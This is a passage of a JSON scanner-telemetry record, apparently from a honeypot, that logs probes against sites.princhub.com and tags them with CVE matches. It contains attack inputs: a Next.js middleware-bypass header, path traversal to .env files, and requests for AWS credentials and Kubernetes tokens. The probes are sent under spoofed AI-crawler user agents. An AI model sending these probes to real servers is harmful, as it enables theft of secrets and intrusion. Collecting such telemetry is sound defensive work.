(https://duckduckgo.com/duckassistbot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/telescope/requests","summary":"","payload_hex":"474554202f74656c6573636f70652f726571756573747320485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204475636b417373697374426f742f312e31202868747470733a2f2f6475636b6475636b676f2e636f6d2f6475636b617373697374626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"DuckAssistBot/1.1 (https://duckduckgo.com/duckassistbot)","ja3":"c4ae4acaa7aa5e711ba70e6d9bee8696","session":"065717d3-761c-433b-9d4a-7f91896c2ead","seq":37,"duration_ms":10470,"bytes_in":14842,"bytes_out":2923},{"timestamp":"2026-09-29T04:35:17","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com:8443\",\"user-agent\":\"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/server-status","summary":"","payload_hex":"474554202f7365727665722d73746174757320485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e30204170706c655765624b69742f3533372e333620284b48544d4c2c206c696b65204765636b6f3b20636f6d70617469626c653b20436c617564652d536561726368426f742f312e303b202b636c61756465626f7440616e7468726f7069632e636f6d290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)","ja3":"f0460ed440b242d7bb677208847e54b0","session":"d76c6e8d-4149-426b-b5a9-1c45d72df08f","seq":40,"duration_ms":11425,"bytes_in":16322,"bytes_out":3160},{"timestamp":"2026-09-29T04:35:17","port":8443,"proto":"tcp","app_proto":"tls","app_protocol":"http","host":"sites.princhub.com","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"host\":\"sites.princhub.com:8443\",\"user-agent\":\"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)\",\"x-middleware-subrequest\":\"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware\",\"x-nextjs-data\":\"1\"}","body":"","sni":"sites.princhub.com","tls_cipher":"TLS_AES_128_GCM_SHA256","tls_version":"TLSv1.3","alpn":["h2","http/1.1"],"url_path":"/app_dev.php","summary":"","payload_hex":"474554202f6170705f6465762e70687020485454502f312e310d0a486f73743a2073697465732e7072696e636875622e636f6d3a383434330d0a557365722d4167656e743a204d6f7a696c6c612f352e302028636f6d70617469626c653b20596f75426f742f312e303b202b68747470733a2f2f796f752e636f6d2f626f74290d0a4163636570743a202a2f2a0d0a582d4d6964646c65776172652d537562726571756573743a207372632f6d6964646c65776172653a6e6f7761663a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a7372632f6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a6e6f7761663a6d6964646c65776172653a6d6964646c65776172653a6d6964646c65776172653a70616765732f5f6d6964646c65776172650d0a582d4e6578746a732d446174613a20310d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (compatible; YouBot/1.0; +https://you.com/bot)","ja3":"4e5d800abb3c0904b39406d10476dd1c","session":"d987adc7-3925-4e2b-af68-b5c10a015061","seq":36,"duration_ms":10431,"bytes_in":14781,"bytes_out":2844}],"http_methods":[{"method":"GET","count":694},{"method":"POST","count":73},{"method":"DELETE","count":6}],"distinct_ports_total":3,"top_paths":[{"path":"/api/config","count":6,"ports":3},{"path":"/graphql","count":4,"ports":3},{"path":"/","count":4,"ports":3},{"path":"/v1/graphql","count":4,"ports":3},{"path":"/api/graphql","count":4,"ports":3},{"path":"/read-document","count":4,"ports":2},{"path":"/api/templates/preview","count":4,"ports":2},{"path":"/feast/read-document","count":4,"ports":2},{"path":"/api/designer/v1/file-content","count":4,"ports":2},{"path":"/api/v1/config/","count":3,"ports":3},{"path":"/_debugbar/open","count":3,"ports":3},{"path":"/@fs/var/run/secrets/kubernetes.io/serviceaccount/token?raw??","count":3,"ports":3},{"path":"/api/uploads/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f.env","count":3,"ports":3},{"path":"/.env.production?import&raw","count":3,"ports":3},{"path":"/@fs/root/.aws/credentials?raw??","count":3,"ports":3}],"distinct_paths_total":200,"top_snis":[{"value":"sites.princhub.com","count":505}],"top_hosts":[{"value":"sites.princhub.com","count":773}],"top_alpns":[{"value":"h2, http/1.1","count":505}],"banners":[],"credentials":[{"username":"","password":"bypass","count":4}],"header_profile":{"signature":["Accept","Accept-Encoding","Content-Length","Content-Type","Host","Next-Action","User-Agent","X-Middleware-Subrequest"],"representative":[{"name":"Accept","value":"text/x-component","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Content-Length","value":"455","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----r2s15jw2sfu99tng","notable":true},{"name":"Host","value":"sites.princhub.com:8443","notable":false},{"name":"Next-Action","value":"r2s","notable":false},{"name":"User-Agent","value":"Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)","notable":false},{"name":"X-Middleware-Subrequest","value":"src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware","notable":true}],"distinct_sets":2,"events_with_headers":10},"tags":[{"tag_id":"CVE-2026-50160","tag_type":"cve","title":"Hoppscotch <= 2026.4.1 - Mass Assignment JWT_SECRET Overwrite","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/v1/onboarding/config","reference_urls":["https://github.com/hoppscotch/hoppscotch/security/advisories/GHSA-j542-4rch-8hwf","https://nvd.nist.gov/vuln/detail/CVE-2026-50160","https://github.com/hoppscotch/hoppscotch/pull/6171"]},{"tag_id":"CVE-2026-85688","tag_type":"cve","title":"TEN Framework - Arbitrary File Read & Write","severity":"critical","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/designer/v1/file-content","reference_urls":["https://www.vulncheck.com/advisories/ten-framework-0.11.71-unauthenticated-file-read-write-via-tman-designer","https://github.com/TEN-framework/ten-framework/issues/2187","https://github.com/TEN-framework/ten-framework/blob/0.11.71/core/src/ten_manager/src/designer/file_content/mod.rs","https://nvd.nist.gov/vuln/detail/CVE-2026-85688"]},{"tag_id":"CVE-2019-11248","tag_type":"cve","title":"Debug Endpoint pprof - Exposure Detection","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/debug/pprof","reference_urls":["https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0","http://mmcloughlin.com/posts/your-pprof-is-showing","https://github.com/kubernetes/kubernetes/issues/81023","https://groups.google.com/d/msg/kubernetes-security-announce/pKELclHIov8/BEDtRELACQAJ","https://nvd.nist.gov/vuln/detail/CVE-2019-11248"]},{"tag_id":"CVE-2026-23536","tag_type":"cve","title":"Feast Feature Server <=0.58.0 - Arbitrary File Read","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/read-document","reference_urls":["https://access.redhat.com/security/cve/CVE-2026-23536","https://bugzilla.redhat.com/show_bug.cgi?id=2429302","https://github.com/feast-dev/feast","https://nvd.nist.gov/vuln/detail/CVE-2026-23536"]},{"tag_id":"CVE-2026-56681","tag_type":"cve","title":"9router <=0.5.4 - Authentication Bypass","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/models","reference_urls":["https://github.com/advisories/GHSA-5mj8-gf6m-fhw8","https://github.com/decolua/9router/security/advisories/GHSA-5mj8-gf6m-fhw8","https://github.com/decolua/9router/commit/efd20be8d81ef2e256a7037f3aa78e6b567b5fd3","https://github.com/decolua/9router/releases/tag/v0.5.6"]},{"tag_id":"CVE-2026-89013","tag_type":"cve","title":"Dolibarr < 24.0.0 - Authorization Bypass via hashp Parameter","severity":"high","actively_exploited":false,"match_field":"url_path","matched_pattern":"/document.php","reference_urls":["https://github.com/Faceless0x7/CVE-2026-89013","https://github.com/Dolibarr/dolibarr/commit/cd05688dbed8a4af6eef32faf4fc1e823a37bce9","https://github.com/Dolibarr/dolibarr/commit/a8bc4a63e1b6356884abcd83c4a38954d9649b0b","https://github.com/Dolibarr/dolibarr/commit/3bd8aa8b909e596d7dab4388d0466ec24e6ad191","https://github.com/Dolibarr/dolibarr/releases/tag/24.0.1"]},{"tag_id":"CVE-2024-37152","tag_type":"cve","title":"Argo CD Unauthenticated Access to sensitive setting","severity":"medium","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/v1/settings","reference_urls":["https://github.com/argoproj/argo-cd/security/advisories/GHSA-87p9-x75h-p4j2","https://nvd.nist.gov/vuln/detail/CVE-2024-37152"]},{"tag_id":"CVE-2026-30928","tag_type":"cve","title":"Glances - Information Disclosure","severity":"HIGH","actively_exploited":false,"match_field":"url_path","matched_pattern":"/api/4/config","reference_urls":[]}],"data_as_of":"2026-09-29T14:56:03.366192+00:00"}